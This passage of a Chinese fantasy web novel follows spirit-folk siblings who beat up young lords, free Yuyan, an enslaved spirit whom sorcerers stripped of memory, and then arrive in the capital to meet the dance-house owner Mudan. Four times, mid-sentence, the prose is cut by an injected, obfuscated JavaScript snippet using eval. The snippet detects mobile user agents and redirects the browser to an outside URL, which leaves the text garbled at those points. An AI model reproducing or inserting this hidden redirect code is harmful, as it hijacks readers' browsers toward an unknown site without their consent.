青崖身子一晃躲开了五六只手,正要开打,忽听见门外传来两个熟悉的脚步声,嘴唇勾起,想起了一件好玩的事,拿起自己的一缕头发塞到最近的公子手中,眨眼笑道:“逗你们玩,别这么凶呀,你闻闻我的头发香不香?” 她突然变脸来这么一出,几个公子丈二和尚摸不着头脑,都停了动作,这时,大门被猛然推开。 一个身形挺拔的少年率先跨进门,大声道:“青崖姐!你快一点,干什么呢怎么告别这么久?不会还要一起吃晚饭吧?” 高公子认得,这是林妹妹的弟弟。少年身后,则是那个对人爱答不理,总是穿着男装的怪异姐姐。 红鸾进门看到一个纨绔公子手里正握着青崖的发梢,目光犀利如刀。 小狼还以为青崖在与这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774626|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人玩闹,催促道:“别玩了,你再耽搁,就要追不上芊芊家的马车了。” 青崖白了他一眼。芊芊、芊芊,这个弟弟脑子里就只有一个芊芊! 她拨开小狼,直扑到姐姐身边,缠住姐姐的胳膊,做小鸟依人状:“姐姐,他们不让我走,逼我喝酒,还未经我同意摸我头发。” 高公子见红鸾脸色阴沉,知道来者不善,哈哈道:“妹妹误会了,我们只是客气地请妹妹喝几杯告别酒,又没把门锁住,哪有不让妹妹走……哎——放肆!你给我住手!”高公子变了声调。 小狼突然探出一只手狠狠掐住了他的后脖颈,没好气道:“妹妹妹妹!再喊‘妹妹’我撕烂你的嘴!早看你不顺眼了!是不是你缠着我姐不让她走?!是不是你逼她喝酒?!” 小狼名字中有“小”,可他身形一点也不小,正如高公子名字中有“高”,却一点也不高。他在小狼手下像鸡仔一样被抓着脖子,缩头缩脑显得更矮了。 一个富贵公子哪里遭受过这种待遇,被掐得痛了,痛得完全失去反抗能力,龇牙咧嘴惨叫:“啊啊啊——我没有!” 小狼双眼怒瞪,向青崖问道:“是不是他不让你走?” 李公子和王公子上前拉小狼,被他一拳一脚,干脆利落地招呼到墙上和地上。 青崖第一次看到小狼黑着脸发怒,意外地发现在弟弟那张皮肤黝黑的人脸上居然可以显出狼的兽性,不由愣了一下。 “啊对,他,还有他们,这几个男的,都……” 话音未落,小狼几记重拳连捣在高公子肚子上,高公子脸色由红转白,险些吐出血,痛得蜷成虾米,趴倒在地。 “啊——!”侍酒的女子们大声惊呼,聚在一起缩在房间角落,而那个身上有灵气的女子,唯有在被人撞到才后退几步躲一躲,仍然面无表情。 小狼揪住方才捧着青崖发梢的公子的衣襟,也就是那位说“美人脱衣才美”的公子,啪啪猛扇巴掌,边扇边道:“叫你!敢碰!我姐!头发!” 红鸾轻轻揉着额角,“小狼,注意分寸。” 小狼这才停手,对那人喝道:“跪下!” 那人已鼻青脸肿,意识模糊,岂敢不跪。其他还能站着的公子扯着嗓子对外呼救:“来人!来人啊!” 这些公子们个个都有人伺候,出门都有马夫家丁跟随,他们喝酒时,家丁就在外间其他地方等待,随时听候差遣。此处有五个公子,外面至少有十多个家丁。 熟料,公子求救后,外面只有一人回应:“来了来了,我来了。” 出现在门外的是季师傅。他拍着手上的白色迷药道:“外面的人都睡着了,公子们是在叫老夫吗?” 不过片刻,五位公子都被小狼收拾得服服帖帖,瑟瑟发抖缩成一团跪拜在地。 小狼踩在一个公子的背上,揪着他的发髻,让他扬起脸,对青崖道:“姐,哪个不知好歹的缠着不让你走?我抓着他,你来打,尽管打到出气为止。” 青崖看了一眼那公子的脸,只见他发髻散乱,眼圈发青,一边脸颊高高肿起,嘴角流淌着血,简直分辨不出他是高公子、李公子还是王公子。 48. 大车槛槛7 公子们皆跪倒在地,侍女们缩于墙角,此情此景下,那个面无表情的女侍就越发显眼。她静默地走到王姓公子身后,静默地跪下,并未对眼前所发生的事显露出一丝吃惊或害怕。仿佛无论发生任何事,她都不会有一丝情绪,她的任务就是跟随王姓公子,随时等待听从那公子的命令。 红鸾修为深厚,对灵气的感知更为敏锐,也在一进屋时就觉察出那女子身上有灵气。 青崖过去把那女子拉起,道:“小狼,你把他们看好,别让他们乱动,我和姐姐有话问这女子。” 她们把那女子带到外面庭院里,红鸾伸手在那女子眉心探了片刻,奇道:“怪事,你为什么没有灵根?” 女子双目无神,一言不发。 “没有灵根?”青崖不解,抓着女子问:“怎么回事?你是谁?今年多大?从哪里来?” 女子沉默不言,一直望着屋里的方向,显然是惦记着要回到王公子的身边去。 青崖回到屋里,指着王公子道:“小狼,把他抓出来。” 小狼直接在那男子身后踹了一脚,“听见没,我姐叫你。” 王公子四肢着地跪爬几步,哆哆嗦嗦道:“姑……姑娘饶命!” “你说实话我就可以考虑饶你性命,”青崖道,“那个女子是什么人?从哪里来的?” “她……她……”王工资结结巴巴不肯回答,小狼上前一手压住他肩膀,一手抓住他右臂粗暴地往后一拧,随着胳膊被折出一个不可思议的折角,男子痛得嗷嗷惨叫:“我说我说!他是我从术士手里买来的妖宠!” 此话一出,不仅青崖他们,其他几位公子也惊讶侧目。 “妖宠?”青崖问,“什么是妖宠?” “就是……就是……被术士处理过,再不能使用妖术,只能听主人命令的妖。” 青崖心头一沉,终于明白那女子为什么是灵但没有灵根,那一定就是被术士“处理”的结果。 没有灵根的灵,不仅灵力全无,生命也变得脆弱,最多支撑一年,很快就会灵力枯竭而亡。 “她被术士处理过多久了?” 在人前不敢表露太多对妖的同情,青崖只能咬牙使用“处理”二字,如同术士提前结束一个妖的性命如丢掉一个廉价物品一样寻常。 王公子道:“半……半年吧,我买来时,术士说刚处理好。” “术士没告诉你她的寿命不长了吗?” “说了,说她还能活一年。” “……”青崖默了一下,质问道:“你明明已有侍女家仆,为什么还要花钱买妖宠?” “为了……好玩……”王公子道。 青崖不想继续再问下去了。 季师傅上前一步道:“妖宠的事等一下我会跟姑娘解释,姑娘现在是想把她带走吗?” 王公子连忙献宝一样道:“姑娘若是喜欢,尽可把这妖宠带走。” “可她只听你的话,怎么让她恢复清醒?” “恢复清醒?”王公子为难地转了一下眼珠,“额……我只知道怎么让她改听你的话。” 青崖怒瞪王公子一眼,“好,那让她听我的话。” 王公子于是对那女子道:“从今日起,我不再是你的主人,这个林姑娘是你的新主人,她说什么,你做什么,懂了吗?” 女子缓缓点头,转身面向青崖,木然道:“主人。” 青崖被她毫无知觉的目光刺得胸口生疼,怒问跪地的公子们:“老实交代,你们可还有其他妖宠?” 几人纷纷摇头,王公子哀呼:“没有了,姑娘,妖宠昂贵,有钱也难买到,不是人人都能有的。我把她送给你,你就饶了我们几个吧……” 季师傅道:“烦请公子写张字据,画押证明妖宠是你送给我家姑娘的。” 买妖宠也许既不算与妖合谋,也不算包庇妖,但到底是上不了台面的事,严格来说算是知妖不报。有字据作为证明,这群人被打这一顿,以及被抢走妖宠,都不敢报官,只能哑巴吃黄连,自认倒霉了。 季师傅靠他走南闯北的经验,老练地安排后续事宜,让王公子写下字据,签字画押,最后点燃迷香,把一屋子的人都给迷倒。万一他们中间有个大胆的,就是想报官,也只能明日醒来再报,那时他们的商队早已离开西亳,若想跨城找人,一则不好找,二则离开他们的势力范围,他们也掀不起太大风浪。 *** 商队连夜赶路,离开西亳。 那个被毁灵根的女子,突然被带离原来的环境,也没表现出丝毫不适,安安静静同青崖一起坐在马车里。 青崖拉着她双手问:“你叫什么名字?” “玉颜。” “你记得自己原来是从哪里来的吗?” “从王公子那里来。” “再往前呢?遇见王公子之前?” “不知道。” “你有想去的地方或者想见的人吗?” “没有。” “想做的事?” “侍奉主人。” “……” 玉颜的声音同她的眼神一样,呆板没有情绪。青崖一连问她许多问题,关于她的身世信息,除了名字以外什么都没问出来。就连名字也有可能不是本名,而是王公子或术士给她起的名字,因为容颜美丽,就叫玉颜。 小狼也是第一次见没有灵根的灵,问红鸾:“是因为失去灵根所以她才像这样没有自己的意识吗?” 红鸾道:“不,失去灵根只是失去聚灵的能力,并不会失去自我意识。她这个样子,恐怕是术士采用什么特殊手段洗去了她的记忆,夺走了她的自我意识。” “术士竟然会这样歹毒的手法?” “听说是有这样一种术法。”赶车的季师傅插嘴道,“按规定,术士不管在哪里抓住妖,全部都要上报给京城诛邪司本部。但术士中有贪恋钱财的,权贵中有好奇心重的,于是就有了妖宠买卖。他们捉到妖不上报,把妖洗去记忆,可以避免自己暴露;把妖的妖力都弄没了,免得妖反抗主人。这些被术士做成妖宠买卖的妖,寿命不长,且价格不菲,所以能拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13786297|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的人不多。也就是在西亳这种大城,咱们才能碰到一个。” 小狼问:“洗去记忆操控他们的术法是像点灵术一样吗?” 红鸾解释:“大不一样。天地间有灵根而没灵智的东西很多,它们中间只有一小部分靠天时地利,能够开灵智拥有新生,成为灵族。在开灵智之前,它们本身是一块石头就仍是一块石头,没有自主意识。点灵术是短暂地将施术人的意识附加在有灵根而没灵智的东西上,靠自己的灵力来驱遣,不仅对它们无害,还能让它们积累灵力,帮他们早开灵智。术士的方法却是把已有生命、有自我意识的灵夺走意识,让他们只听从主人的命令。” 青崖能明白点灵术和操控妖宠之间的区别,但不明白买卖妖宠的目的,问季师傅:“花那么多钱,还冒着风险,就是为了买一个妖伺候自己一年吗?有钱人还缺人伺候吗?” 季师傅道:“你们族类大多生得俊美,难免便有一些人动起歪心思。再说了,对于真正有钱的人,买一个妖宠的钱也不算什么。” 青崖还是没想明白:“失去灵根的妖,比起人也没什么特殊能力,除了长得好看一点,不用吃喝,其他方面都与人一样,他们买回去欣赏吗?找个好看的仆人就更开心吗?” “呃……”季师傅不知该不该进一步解释,为难地看向红鸾。 红鸾直截了当替他解释:“买回去满足□□,便于亵玩。” 季师傅咋舌,震惊于红鸾用这么直白的词句,回过头去专心驱车。 红鸾道:“季师傅,你不用讲得那么委婉。我这次出门除了要办事,就是带他们见见世面,了解一下妖在东莱国的处境。” 便于亵玩。这下青崖听懂了。男女之事红鸾曾给她讲过,只是她没经历过,很少会往那方面想。小狼一知半解,但也明白妖宠遭遇的不是好事,难得沉默寡言起来。 买回家的家仆侍女尚有律法保护,不可随便打杀,对主子不满也有机会赎身离开。而妖宠呢?一个没有自我意识的妖宠可以随意折磨,他们对主人言听计从,无论遭受怎样的摧残也不会报官。 失去灵根的女子玉颜靠在车上睡着了。她面带稚气,年纪看起来与小狼芊芊一般大,如此鲜活的生命,被术士改造成了一个美丽听话的玩物。 王公子已买回她半年,她的寿命最多还剩半年。 她从哪里来?怎么落入术士之手的?被术士抓到之前,她也曾在某灵流附近快乐地生活玩耍吗? 青崖猛锤一下车身:“那个禽兽!我应该再揍一顿,揍十顿也不解气!还有那个术士!可恶,怎么会有这样的人?!” 过了好久,她情绪才平复一点,问道:“失去灵根还能恢复吗?” 红鸾道:“灵根被毁,就是神仙来了也没用。不出一年,肯定会死。” “那她的意识和记忆还能恢复吗?会不会有但表达不出来?” “恢复又能如何?”红鸾伤怀道,“恢复了还要面对将要来临的死亡,面对曾做过妖宠的记忆。半年残生,还不如就这样无知无觉地度过。” 49. 报之以琼瑶1 青崖心疼玉颜的遭遇,将她带在商队里,悉心照料。她没有灵根,即使不用隐灵膏,鉴形墨也鉴别不出她的身份,减少了被发现的风险。 自从收留玉颜后,以前时常消失去找芊芊的小狼,如今竟大多数时候都老老实实跟着两个姐姐,时常帮忙照看玉颜,显得懂事不少。 青崖发现这一变化,奇道:“咦?你最近怎么突然这么乖巧?” 商队与芊芊家的马车相距十里,看不见芊芊,只能看到芊芊家马车走过留下的车辙,小狼望着车道,望眼欲穿道:“芊芊听说玉颜的事后,让我少去找她,好好跟紧你们,和你们一起照顾玉颜。” 青崖大悟。原来乖巧的不是自家弟弟,而是自家弟妹。 不过,想起那日小狼发怒帮她教训几个纨绔公子的模样,青崖心里涌起一股温柔的暖流。 小狼发现青崖看他的眼神与平日不同,别扭道:“你干嘛?想什么呢?” “我在想,这弟弟没有白养,”青崖笑眯眯道,“你放心,我一定不会把芊芊跟丢,一定帮你们促成好事。” *** 到达京城时是六月。 入京的人很多,京城守卫又比任何一座城池都要严格,因此在京城城门外等着进城的人排成的长队比任何城门口的队伍都要长。 队伍分为三列,最长的一列,大多是平民百姓,背着大小包袱,夹杂少量灰扑扑的牛车。 长度中等的队伍,大多是马车,芊芊一家就排在那里面。 最短的一列队长还不到最长那队的一半,多是更豪华的马车。 季师傅张望了一下,领着商队往最短的队伍那边走去。 短队伍的末端零零散散有几辆马车,其中一辆上面有彩漆画的牡丹。 给红鸾送货的马车车身上也绘有牡丹,不过那些图案上一朵花不过巴掌大,颜色也是单调的暗红色,分布在车身四角,仅作标识,看过的人转眼就会忘记花纹的样子。而这辆车车身上的牡丹绝对叫人过目不忘,墨绿色的车身上面画着盛放的大朵白色牡丹,金色彩漆勾勒出白牡丹的边缘与纹路,两朵花和一个花苞就占据了车身一面的侧板,浅金色叶子点缀其间,将马车装饰得华贵美丽。 那辆马车上的车夫一见到季师傅就回头报给马车里的人,随后马车帘子掀开,丫鬟扶着一个身穿紫色罗裙的女子走下马车。那女子鬓发如云,环佩叮当,脸上蒙着一块淡紫色面纱,一片被烧伤的疤痕从面纱下延伸到眼角,显出几分沧桑,但此时双眼透出的激动与欢喜又让她有了年轻时的影子。 青崖一眼就猜出这就是牡丹坊主。商队里先行的两人已到过京城并带回消息:汤固近日不在京城,牡丹坊主听闻红鸾带弟弟妹妹来京,很是欢喜,说一定会到城门口来迎接她们。 青崖率先跳下马车,只见牡丹坊主快速走来,头上金步摇一步一晃,四十许的沧桑美妇,此刻竟激动地像个少女。 来到陌生地方受到热切欢迎,任谁都会开心。在牡丹坊主迎面而来,几乎扑向自己时,青崖也热情地张开了双臂,谁知,牡丹坊主与她擦身而过,扑向红鸾。 “红姐姐,好久不见!”牡丹与红鸾执手相看,继而抱在一起。牡丹的热情溢于言表,就连平日冷淡惯了的红鸾,竟也流露出少有的激动之色,微微红了眼眶,道:“好久不见。” 青崖尴尬地放下手臂。 牡丹与红鸾相拥良久,方松开红鸾左右打量,擦掉涌出的热泪,笑道:“真羡慕你呀,以前我叫你姐姐,现在我可不能在人前叫你姐姐了,得你叫我姐姐才行。” 牡丹通身贵气,因身姿窈窕,本就比寻常四十多岁的女子看起来更为年轻,而红鸾比牡丹年长三岁,可因灵比人的寿命长,仅看外表,却是牡丹比红鸾年长了。 红鸾笑着道:“给你介绍一下,这是我妹妹,叫青崖。” 女子拉起青崖的手,热情道:“你就是青崖妹妹呀,我是牡丹,你姐姐的朋友。” 青崖发觉手上触感粗糙,低头一看,牡丹手上布满被烧伤过的陈年疤痕,仅有两根手指完好,修长的手指上涂着鲜红的蔻丹,如果没有疤痕,这一定是一双极美的手。 对于这些疤痕,青崖并没感到意外。在红鸾讲述的故事里,牡丹险些丧命于火海,她恰好路过,出手相救,因此结缘成为好友。 这也是牡丹戴面纱的原因,那场大火,毁了她的容颜。 “我知道你,牡丹姐!”青崖看了多年牡丹写来的信,用了多年牡丹帮她采购的纸墨颜料,此时一见极为亲切,“终于见到你了!多谢你这么多年给我们寄来那么多好东西!” 牡丹摸摸青崖的脸:“你姐姐在信里还说你是个小丫头,没想到已经这样高,分明是个漂亮姑娘了。” “牡丹姐好!”小狼也跳下马车打招呼。 “这就是小狼吧?” 红鸾道:“没错,我们这次入京,原因之一就是为了帮他追妻呢。” 小狼呵呵憨笑,牡丹道:“追妻?是芊芊吗?芊芊不是向来和他关系很好,怎么还需要千里迢迢直追到这里来?” 先行的人只通知牡丹红鸾要来京,却不便让他们转达来京的目的,因此牡丹还不知内情。 小狼道:“牡丹姐你怎么知道芊芊?哦,对了,我姐在信里告诉你的吧?” 牡丹道:“没错,你姐姐在信里总提起你们这对弟妹。” 小狼哼道:“她肯定是跟你抱怨,说我们两个特别烦,是不是?” 青崖踢了他一下,“你才烦。” 小狼反踢回去:“你更烦。” 牡丹笑着对红鸾道:“你走后,我一直担心你孤零零的怎么办才好,直到你提起有了一个妹妹,后来又有了个弟弟,我才放心多了。” 红鸾嫌弃道:“别提了,他们两个一个比一个闹,来的路上还打架打到车顶上,踩坏了一辆马车。我天天都后悔当他们姐姐。” “你就是心软嘴硬,到现在也没变。你要是不喜欢他们怎么会帮小狼千里追妻。对了,芊芊也来了吗?在哪里?” 小狼指了指另外一队漫长的拐了好几个弯的队伍:“芊芊在那里面排队呢。” “需不需要我也带他们快点进城?” 红鸾道:“不必了,我们是瞒着他们家人跟来的,最好不要在他们家人面前出现,其中缘由回去再和你细说。你找一个人悄悄跟着他们,弄清楚他们住在哪里就好。” 牡丹朝季师傅点了一下头,季师傅立即从队伍里挑出一个伙计将任务分派下去。 牡丹道:“有什么需要我做的尽管说,我先带你们回去。一听说你来我就让人开始准备,把我最近闲置的一处宅院给收拾了一下,专门给你们住。季师傅你们路上也熟悉了吧,最近就让他跟着你们,京中地形和事务他都了解,办事也稳妥。我回头再安排几个丫头……” “有一个帮忙的丫头就可以了,不必太多。”红鸾道,“我们……你也知道,人多反而不方便。” 红鸾与牡丹说话时,青崖把马车上的玉颜也叫了下来,红鸾附在牡丹耳边悄声解释了玉颜的来历,道:“又多了一个人,你安排的宅院住得下吧?” 牡丹嗔怪地拍了红鸾一下,道:“我岂会那么吝啬,让你住小小的多一个人就住不下的地方?” 几人说笑着坐上牡丹的马车,在短队伍后排队进城。京城城门口的术士比其他城门口的术士多一倍,也是用鉴形墨点在每个人的手腕上灵道穴做检查,青崖等人早各自涂好隐灵膏,通过检查,顺利入城。 过了城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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青崖道:“对,幸亏有这个东西我们才一路畅通,免了许多麻烦。” 牡丹道:“我也不知这东西的发明者是谁,是一个叫楚醉君的人主动给我的。我还想问你们呢,认不认识那个叫‘楚醉君’的?他是四年前入京的,是我舞楼的常客,因为长相俊美,舞楼里不少姑娘都议论他,我也注意到过,但一直以为他是个普通公子。谁知半年前有一天他突然说知道我派出去的商队会给你们送东西,让我把这个隐灵膏也转送给你们。” 红鸾道:“我想了一路也没想到是谁,他既然与我族有关,要潜伏在京城,很可能用的也是假名字,最好能让我亲眼看看他。” 牡丹道:“他最近出游不在京城,不过按他走前留下的消息,最多再有半月或一个月就能回来,那时候你们认一认吧,看看是不是你们认识的朋友。” 红鸾却道:“未必是我们的朋友,若是我们的朋友,这么重要的好东西,大可以直接送给我们,他非要点明你有妖族朋友,让你转交,说不定是想让你做点什么,毕竟你在京城是个名人。现下你相当于有把柄在别人手上,不知对方是拉拢还是威胁。” 红鸾与牡丹忧心忡忡,青崖道:“拉拢,一定是拉拢。如果他想威胁牡丹姐,没有必要送牡丹姐隐灵膏,也没必要带一个鹤灵明明白白告诉牡丹姐他也是灵族朋友,只说知道牡丹姐与妖有交情,就足够用来威胁牡丹姐了。” 牡丹道:“青崖妹妹说的也不错,左右我现在安然无恙,送的东西还帮了大忙,他至少目前没有恶意,至于以后,是福是祸,怎么应对,也只能等你们见过他再说了。” 几人休整一番,围坐休息,红鸾一边与牡丹叙旧,一边将来京城的目的告诉她。 牡丹得知芊芊一家到京城的目的之一就是找名医给父亲看病,当下提笔写下一串名单交给小狼,道:“这些都是京城有名的大夫和医馆,可以把这个名单给芊芊做参考,若是难以见到的,我也可以帮忙引见。” 小狼去接那张名单,青崖却提前一步抢了去,拿在手中看了又看,问:“牡丹姐,京城有没有一个叫‘长山’的大夫?” 50. 报之以琼瑶2 “长山?” “对,他姓‘慕’,慕长山。” 牡丹认真思索后,答:“没听说过。” “做官的人里有没有叫长山的?” “这……在我知道名字的官员里,没有。不过京城有许多大小官员,我不知道,不一定没有。怎么,你找这个人?我帮你打听打听?” 青崖心情复杂地把名单递给小狼,“罢了,我不找他,就是随口问问。” 如果名医中没有长山的名字,只能说明他不在京城。青崖相信,就算长山投入太子门下做官,也一定会兼顾行医,她完全想不出长山放弃做大夫的情形,毕竟长山对医药那么痴迷。 青崖又问:“太子住在哪里?” 长山不在京城,哲远与裴浩总在的吧。 牡丹惊讶道:“你想找太子吗?” 牡丹不知青崖与长山、太子、裴浩等人的交情,倒不是红鸾不与她说,而是在信件中不便多说,万一信件弄丢,信中的秘密怕会泄露。此时面对面,屋里没有旁人,红鸾才将五年前的事简略给牡丹讲了一遍。 “原来如此,”牡丹道,“太子住在宫里,裴将军是太子近卫,也总在东宫。皇宫有禁军和术士的阵法守护,常人未经允许也不得进宫,你们就更不可能了,想见太子恐怕困难,不过你要是写一封信,我或许可以托人辗转送到他们那里。” 青崖一想送信一定要经过多人之手,便有些担忧,看向红鸾,问:“我可以写信吗?” 红鸾淡淡道:“你自己决定。” 这一路,姐姐给了自己最大限度的自由,面对这件事,青崖犹豫起来,想了又想,道:“还是算了,先不着急,我了解一下这里的情况再说吧……” 好不容易来到京城,仅有的那三个记得自己的旧朋友,一个也见不到。青崖情绪低落,回想五年前的邂逅,开始心不在焉,姐姐与牡丹聊天她都没注意听。过了好一会儿,小狼忽然提高声音讲话,她才回过神来。 “我不去舞楼!”小狼道,“芊芊说舞楼不能去,她不让我去,因为那里有陪酒的,还有陪……陪……那个的姑娘,我去了会……呃,清白不保!” 这一听就知是他重复芊芊说的话。 “嗯,你倒是个听话的好孩子,”牡丹轻笑,“不过,你们姐姐难道没告诉你?我的清妙坊可和芊芊说的舞楼不一样,我的姑娘们都是清清白白的,她们不仅不陪酒,连说话也不陪,只专心唱歌跳舞,客人们一下也不能碰,你想在那里失去清白都难。你让芊芊在京城随便一打听就知道了。” *** 第二日,小狼把牡丹写的京城名医的单子送给芊芊,也得到了去舞楼的允许,同姐姐们一起去清妙坊。 清妙坊所在的街道意外地有些安静,两边商铺大多贩卖乐器、华服、丝绸以及金玉珍宝之类的东西。青崖偶见一个书局,到里面随意问了几本精装书册的价格,吓得退了出来。 牡丹笑道:“京城的东西本就比外地昂贵,这条街上的物价更是价格离谱,你若想买什么,改日带你去西市逛逛,一样的东西在那里比在这里便宜许多。” 青崖感叹着点头。牡丹每年也送一箱书给她,若按照这个店铺里的价格,一箱书与一箱子金羽竟然价值相当。 整条街都是二层建筑,唯独清妙坊是三层小楼,位于一条街的中间,显得鹤立鸡群。 红鸾仰头凝望清妙坊的匾额,眼神有些恍惚,“许久没来过了。” 几人跟随牡丹,一进入清妙坊就听到一阵悠扬琴声。正是上午,客人不多,偶有人声也被琴音覆盖。环顾四周,只见画栋飞云,珠帘绣幕,环境华丽不失雅致。楼阁三面设座与雅间,一楼中央有一圆形高台。此时台面上有十几名舞女正在翩翩起舞,台面下环绕围坐着半圈奏乐的乐师。 牡丹带领她们走上二楼,在舞台侧面一包厢落座。包厢的大窗正好面对演艺台,若拉下纱质窗帘,就可以隔绝外界视线,却不隔绝声音,适合需要隐私或不看舞蹈只听奏乐的客人。 “正面是好位置,但太引人注目,这里正好,”牡丹道,“清妙坊从上午到宵禁之前,全天都有歌舞表演,这个雅间这个月就包给你们了,你们随时都可以来。” 小狼终于看到那些他认为稀奇古怪的衣服穿在身上是什么效果,不禁啧啧称奇。青崖自认比小狼有见识,实际上她的见识也大多是从别人口中、牡丹信中得来,此时看到美轮美奂的歌舞,和小狼一样大感新鲜,连看好几支舞,沉迷其中,忘了说话。 舞乐坊每日有固定曲目,循环表演,他们看完了一轮,到第二轮才能分出心思,边看边聊。 “怎么样,”青崖对小狼道,“你还说不来,差点错过了这么精彩的歌舞。” 小狼道:“可是芊芊说,其他舞楼十有八九都是她之前说的那样的,只有这处舞楼不同。” 青崖道:“那是,牡丹姐绝对不会让她手下的姑娘做皮肉生意。你知道为什么吗?” “为什么?” 他们两个为了看歌舞,是离开座位趴在包厢窗边的,青崖回头看了一眼,牡丹和红鸾正在包厢内侧饮茶叙旧,注意力并不在他们这边,就小声同小狼讲述起缘由。 “姐姐给我讲过,牡丹姐从小学舞,她深爱跳舞,在那种,就是芊芊说的那种舞楼里跳舞,一直坚持卖艺不卖身,十五岁时就在家乡当地成为著名花魁。 “可是那种舞楼里确实坏人很多,她十八岁的时候,所在舞楼的老板禁不住金钱诱惑,把她卖给了一个富商做妾。 “牡丹姐不想做妾,一心只想继续跳舞,可是她孤家寡人,斗不过舞楼老板和富商,被富商从舞楼买回家,强娶为妾。富商后来变心,对牡丹姐很不好,牡丹姐多次逃离都被抓了回去,直到二十岁,牡丹姐忍无可忍,在富商家点了一把火,要和他们全家同归于尽。 “红鸾姐那时候与牡丹姐同城,据说当时火势太猛,富商家的人几乎都被烧死,姐姐从火中救了几个人,牡丹姐就是其中之一。 “牡丹姐虽然活下来了,重获自由,可她脸上身上留下许多疤痕,再也不能做舞娘了。要不是当时有红鸾姐照看,她多半还是会寻短见。 “后来,在红鸾姐帮助下,她离开家乡,改名换姓,在京城开了这间舞楼,专门教人跳舞,而且定下舞楼规矩,不许任何客人骚扰跳舞的姑娘。 一开始规矩难以维持,虽然雇了许多打手做护卫,还是频频有人闹事。不过随着舞楼的名声传播开来,被人称赞这里有全京城最好的舞乐,连皇帝都为之吸引,召她们进宫表演。皇帝看后龙心大悦,牡丹趁机求皇恩庇护,皇帝于是亲自题字赐匾,声明要保护民间舞乐。清妙坊这才得以维持“清妙”。 后来作为献礼,清妙坊每年都选出技艺精湛者进宫指导宫中舞乐,进宫献艺的花魁,还曾有几名被留在宫里,成了皇帝的后宫之一。 小狼单纯道:“可是,这岂不是相当于每年都有一个女子被卖给皇帝?” 青崖道:“据说宫中富贵,有许多女子心甘情愿入宫侍奉皇帝。牡丹送去的,大多都是原本就憧憬进宫的女子。进宫的舞女地位升高,清妙坊的地位也随之变得不平凡,所以生意特别好,咱们红鸾姐才能每年收到那么多金羽。” *** 京城生活被牡丹安排得丰富精彩,芊芊那边也除了每日给父亲寻医看病,暂无其他事情。青崖渐渐松弛下来,心想多等一段时日,摸清京城情况,总能有机会与哲远裴浩见面。 这日,她又跟着牡丹带着去茶楼听书。 故事讲述一个人勤奋努力成为富商,富商的管家建议他修建一座比周围所有建筑都高的高楼,这样才可以彰显他的富贵。富商觉得有理,于是投入大量金钱修建高楼,并把修建高楼的事托付给管家去做,谁知管家别有居心,拿着修建高楼的钱吃喝玩乐,过了好几年楼没建成,管家把钱花得七七八八,最后管家不告而别,走的时候还偷空了富商的钱财。 “咦,奇怪,”青崖道,“我前几日听的也是这个故事,不过结局不同。上次那个故事是管家最终把高楼建成,富商威望大涨,变得更家大业大了,这次是楼没建成,钱被偷光。怎么同一个故事会有两个不同的结局?” 红鸾早听明白其中关窍,笑而不语,牡丹压低声音道:“故事里的管家说要建一座比周围建筑都高的高楼,你没有因此联想到什么事情吗?” 青崖一怔,恍然大悟。季师傅在路上曾提到,国师说建一座五层高楼,要比周围的建筑都高,就可以帮助皇帝修炼,早日得道成仙,皇帝当即应允,大兴土木,建造新楼。 比周围建筑都要高的高楼,那不正是国师建议皇帝修建的“修仙阁”吗? 牡丹见他就要惊呼出声,连忙提醒:“嘘,不可大声喧哗。” 青崖看了看四周,听故事的人中也有个别笑容暧昧,显然也是听懂了这故事另有所指。她也压低声音道:“所以那个管家就是国师吗?” 牡丹点头,“前几年管得严,上面的事民众都不敢讨论,一讨论就要被抓起来,最近几年突然变得宽松,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13941211|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面的事人们也不敢明目张胆地说,于是就换个角色编成故事,供人传讲。 青崖越发好奇那个会降雨的国师到底是什么角色,是不是五年前曾与自己交过手的白衣男子?如果是他,那么他当国师,想必是为了辅助哲远,好在将来取消《捉妖令》,可他为什么建议修建修仙阁?作为灵族应当更加明白,人没有办法吸收灵气,所以才无法像妖一样长寿,就算住在山上也没用,住在楼上能有什么不同? 连续好几天,青崖都到茶楼听书,就为了听人们编排的故事,结合牡丹讲述的国师事迹,很容易分辨哪些故事是在讲他。 国师无名无姓,只有一个称号:临渊仙长。据说连皇帝也这么叫他,他因为会降雨和炼丹而被皇帝器重。 在说书先生的故事里,有时他是从海上而来的神仙,是天降福泽于万民,因此能呼风唤雨,保证东来国年年丰收。 有时他是贪恋钱财的小人,诓骗皇帝修建高楼,最终将会消失无踪,让皇帝损失惨重,甚至江山不保。 